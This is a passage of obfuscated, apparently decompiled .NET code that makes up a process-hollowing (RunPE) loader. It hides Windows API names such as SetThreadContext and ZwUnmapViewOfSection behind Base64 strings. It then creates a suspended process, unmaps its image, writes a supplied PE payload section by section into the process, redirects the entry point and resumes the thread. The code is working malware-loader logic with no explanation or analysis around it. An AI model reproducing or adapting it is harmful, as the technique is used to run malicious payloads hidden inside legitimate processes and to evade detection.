    nEHKCapiSBDXzFS.tgzebupnbgqfkkkjdhrq tgzebupnbgqfkkkjdhrq = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.tgzebupnbgqfkkkjdhrq>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("U2V0VGhyZWFkQ29udGV4dA==")));
    nEHKCapiSBDXzFS.toksbbnclgvaxbshtvjf toksbbnclgvaxbshtvjf = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.toksbbnclgvaxbshtvjf>(Encoding.UTF8.GetString(Convert.FromBase64String("a2VybmVsMzI=")), Encoding.UTF8.GetString(Convert.FromBase64String("UmVzdW1lVGhyZWFk")));
    nEHKCapiSBDXzFS.aphfvrgwxdtyxvqjlhpu aphfvrgwxdtyxvqjlhpu = this.ffgfuqztvpggssrl<nEHKCapiSBDXzFS.aphfvrgwxdtyxvqjlhpu>(Encoding.UTF8.GetString(Convert.FromBase64String("bnRkbGw=")), Encoding.UTF8.GetString(Convert.FromBase64String("WndVbm1hcFZpZXdPZlNlY3Rpb24=")));
    bool flag;
    try
    {
      IntPtr zero1 = IntPtr.Zero;
      IntPtr[] xgdnroernpacxoxoinw = new IntPtr[4];
      byte[] yvojgqltfrvggfsgrn = new byte[68];
      int int32_1 = BitConverter.ToInt32(yopsrcqtdqlvwypcca, 60);
      int int16 = (int) BitConverter.ToInt16(yopsrcqtdqlvwypcca, checked (int32_1 + 6));
      IntPtr rfiyujxclxlqusdqffgq = new IntPtr(BitConverter.ToInt32(yopsrcqtdqlvwypcca, checked (int32_1 + 84)));
      if (onxxwpudohlruqjhkft((string) null, new StringBuilder(baezjlapzasklvvde), zero1, zero1, false, 4, zero1, (string) null, yvojgqltfrvggfsgrn, xgdnroernpacxoxoinw))
      {
        uint[] numArray1 = new uint[179];
        numArray1[0] = 65538U;
        if (jlgapqpsdgrnwuqbe(xgdnroernpacxoxoinw[1], numArray1))
        {
          IntPtr etfcycexryyocpzr = new IntPtr(checked ((long) numArray1[41] + 8L));
          IntPtr zero2 = IntPtr.Zero;
          IntPtr ccwglzubtxxkinxyp = new IntPtr(4);
          IntPtr zero3 = IntPtr.Zero;
          if (tozkgskrcpnbyahypx(xgdnroernpacxoxoinw[0], etfcycexryyocpzr, ref zero2, (int) ccwglzubtxxkinxyp, ref zero3) && aphfvrgwxdtyxvqjlhpu(xgdnroernpacxoxoinw[0], zero2) == 0U)
          {
            IntPtr num1 = new IntPtr(BitConverter.ToInt32(yopsrcqtdqlvwypcca, checked (int32_1 + 52)));
            IntPtr num2 = new IntPtr(BitConverter.ToInt32(yopsrcqtdqlvwypcca, checked (int32_1 + 80)));
            IntPtr rpbouozdygdobraf = lxxeodzlztvaeztdz(xgdnroernpacxoxoinw[0], num1, num2, 12288, 64);
            int int32_2 = rpbouozdygdobraf.ToInt32();
            int uqnldwwdpogruinqyjdu;
            int num3 = bwzqnnwyigagucvs(xgdnroernpacxoxoinw[0], rpbouozdygdobraf, yopsrcqtdqlvwypcca, checked ((uint) (int) rfiyujxclxlqusdqffgq), uqnldwwdpogruinqyjdu) ? 1 : 0;
            int num4 = checked (int16 - 1);
            int num5 = 0;
            while (num5 <= num4)
            {
              int[] dst = new int[10];
              Buffer.BlockCopy((Array) yopsrcqtdqlvwypcca, checked (int32_1 + 248 + num5 * 40), (Array) dst, 0, 40);
              byte[] numArray2 = new byte[checked (dst[4] - 1 + 1)];
              Buffer.BlockCopy((Array) yopsrcqtdqlvwypcca, dst[5], (Array) numArray2, 0, numArray2.Length);
              num2 = new IntPtr(checked (int32_2 + dst[3]));
              num1 = new IntPtr(numArray2.Length);
              int num6 = bwzqnnwyigagucvs(xgdnroernpacxoxoinw[0], num2, numArray2, checked ((uint) (int) num1), uqnldwwdpogruinqyjdu) ? 1 : 0;
              checked { ++num5; }
            }
            num2 = new IntPtr(checked ((long) numArray1[41] + 8L));
            num1 = new IntPtr(4);
            int num7 = bwzqnnwyigagucvs(xgdnroernpacxoxoinw[0], num2, BitConverter.GetBytes(rpbouozdygdobraf.ToInt32()), checked ((uint) (int) num1), uqnldwwdpogruinqyjdu) ? 1 : 0;
            numArray1[44] = checked ((uint) (rpbouozdygdobraf.ToInt32() + BitConverter.ToInt32(yopsrcqtdqlvwypcca, int32_1 + 40)));
            int num8 = tgzebupnbgqfkkkjdhrq(xgdnroernpacxoxoinw[1], numArray1) ? 1 : 0;
          }
        }
        int num = (int) toksbbnclgvaxbshtvjf(xgdnroernpacxoxoinw[1]);
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      flag = false;
      ProjectData.ClearProjectError();
      goto label_11;
    }
    return true;
label_11:
    return flag;
  }

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool onxxwpudohlruqjhkft(
    string oedyihxqzqocyclpvvxc,
    StringBuilder brgeqteqegzstwduni,
    IntPtr ffaeirjjgnuifbip,
    IntPtr bjualnrsepgxurvgxinf,
    [MarshalAs(UnmanagedType.Bool)] bool inpffwxijdvjfoiw,
    int xfujtywxixoklhocbjj,
    IntPtr ctbitacktlxgftdaioez,
    string kzusgbcgxhjhtlhhb,
    byte[] yvojgqltfrvggfsgrn,
    IntPtr[] xgdnroernpacxoxoinw);

  public delegate bool bwzqnnwyigagucvs(
    IntPtr wdsjwhcojooenavqpesl,
    IntPtr rpbouozdygdobraf,
    byte[] gvteirbofxrsiztlx,
    uint rfiyujxclxlqusdqffgq,
    int uqnldwwdpogruinqyjdu);

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool tozkgskrcpnbyahypx(
    IntPtr jltpcnqiwzqxtlco,
    IntPtr etfcycexryyocpzr,
    ref IntPtr lqgydbgnapnskurrtpxu,
    int ccwglzubtxxkinxyp,
    ref IntPtr ubcpdrpafhtkqpvgvtd);

  public delegate IntPtr lxxeodzlztvaeztdz(
    IntPtr jullkbkrkrjvqkgp,
    IntPtr vgippnhfgzfkxjrasb,
    IntPtr ptokirgjzpxvgqpkar,
    int iirzektacsdsflqqugv,
    int zyiptlobksnliyjuubzn);

  public delegate uint aphfvrgwxdtyxvqjlhpu(IntPtr useeqyyxzczvwayl, IntPtr obhusgnivqndodny);

  public delegate uint toksbbnclgvaxbshtvjf(IntPtr lliqzgrlauopxlfia);

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool jlgapqpsdgrnwuqbe(IntPtr zlapljuqrthgjbebuvz, uint[] scyyrueulztheoser);

  [return: MarshalAs(UnmanagedType.Bool)]
  public delegate bool tgzebupnbgqfkkkjdhrq(IntPtr pvzijjydxaxkejurcf, uint[] crbqhqiiyvucgtpxgqs);
}